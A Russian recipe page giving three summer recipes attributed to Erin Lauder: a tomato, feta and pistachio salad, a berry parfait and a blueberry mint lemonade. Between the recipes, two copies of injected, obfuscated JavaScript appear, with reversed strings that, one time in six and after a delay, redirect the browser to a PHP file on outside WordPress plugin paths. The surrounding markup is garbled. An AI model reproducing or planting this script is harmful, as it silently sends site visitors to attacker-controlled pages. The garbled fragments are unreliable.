3 рецепта безумно вкусных летних блюд

Эрин Лаудер — внучка основательницы всемирно известной компании Estee Lauder — знает толк не только в ароматах и косметике, но и во вкусной еде и напитках. Представляем вам три любимых летних рецепта прекрасной Эрин: лёгкий салат с помидорами и фетой, парфе с ягодами и черничный лимонад.

230 calories

Салат с помидорами, фетой и фисташками

Этот лёгкий салат станет отличной закуской в жаркий полдень.

Салат с помидорами, фетой и фисташками

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 минут

КОЛИЧЕСТВО ПОРЦИЙ:

2 порции

КАЛОРИЙНОСТЬ:

230 ккал

Сложность

Время

10 минут

Кол-во порций

2 порции

Калорийность

230 ккал

Ингредиенты

Помидоры

4 шт.

Помидоры (черри)

1 стакан

Сыр (фета)

½ стакана

Орехи (фисташки)

¼ стакана

Петрушка

пучок

Масло (оливковое)

2 ст. л.

Процесс приготовления

1. Нарежьте помидоры на дольки и выложите на широкую тарелку.
2. Черри нарежьте на половинки, а сыр на мелкие кусочки. Добавьте сверху.
3. Посыпьте салат фисташками и нарезанной петрушкой.
4. Заправьте оливковым маслом. Готово!

340 calories

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-2018-goda-na-nashem-saite-im-8.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-2018-goda-na-nashem-saite-im-8.jpg»>

Парфе с ягодами и печеньем

Из ягод и сливочного йогурта получается очень вкусный диетический десерт.

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-2018-goda-na-nashem-saite-im-8.jpg» class=»c2″ alt=»Изображение рецепта Парфе с ягодами и печеньем» title=»Изображение рецепта Парфе с ягодами и печеньем»>

Парфе с ягодами и печеньем

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 минут

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

340 ккал

Сложность

Время

20 минут

Кол-во порций

4 порции

Калорийность

340 ккал

Ингредиенты

Малина

1 стакан

Черника

1 стакан

Клубника

1 стакан

Йогурт (греческий)

125 г

Печенье

100 г

Сливки

½ стакана

Сахар

2 ст. л.

Лимон (сок)

½ ст. л.

Процесс приготовления

1. Нарежьте клубнику на кусочки и смешайте в большой миске с черникой и малиной.
2. Добавьте к ягодам сахар и лимонный сок. Оставьте на 10 минут.
3. В это время смешайте в блендере греческий йогурт, сливки и сахар до консистенции однородного крема.
4. Выложите половину ягод в четыре стакана, сверху добавьте крем.
5. Повторите.
6. Сверху в каждый стакан выложите накрошенное печенье.
7. Охладите и подавайте.

210 calories

Черничный лимонад с мятой

Освежающий ягодный напиток для большой компании.

Черничный лимонад с мятой

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

15 минут

КОЛИЧЕСТВО ПОРЦИЙ:

8 порций

КАЛОРИЙНОСТЬ:

210 ккал

Сложность

Время

15 минут

Кол-во порций

8 порций

Калорийность

210 ккал

Ингредиенты

Черника

2 стакана

Мята (свежие листья)

1 стакан

Сок (лимонный)

1 стакан

Сахар

250 г

Вода

250 мл

Вода (газированная)

2 л

Процесс приготовления

1. Подогрейте на маленьком огне 250 мл воды, добавьте сахар и листья мяты.
2. Доведите до кипения и подержите на огне 2 минуты.
3. Процедите готовый сироп и перелейте в графин.
4. Добавьте к сиропу газированную воду, ягоды черники и лимонный сок. Хорошо перемешайте длинной ложкой.
5. Охладите и подавайте.

Статьи по теме

3 рецепта вкуснейших салатов

5 рецептов самого вкусного летнего десерта

7 рецептов домашнего лимонада без сахара

Рецепт дня: лимонад от самой Бейонсе